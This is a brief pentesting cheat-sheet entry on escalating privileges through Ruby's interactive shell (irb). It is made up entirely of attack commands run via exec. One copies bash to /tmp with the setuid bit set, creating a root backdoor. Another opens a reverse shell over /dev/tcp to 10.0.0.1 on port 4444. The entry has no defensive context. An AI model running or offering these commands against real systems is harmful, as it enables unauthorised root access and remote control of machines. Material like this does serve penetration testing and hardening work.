# irb (Interactive Ruby Shell) Privilege Escalation

### Exploitation <a href="#exploitation" id="exploitation"></a>

```shellscript
irb

# #q!: Define a string literal
> exec %q!whoami!
> exec %q!cp /bin/bash /tmp/bash; chmod +s /tmp/bash!
> exec %q!bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"!
```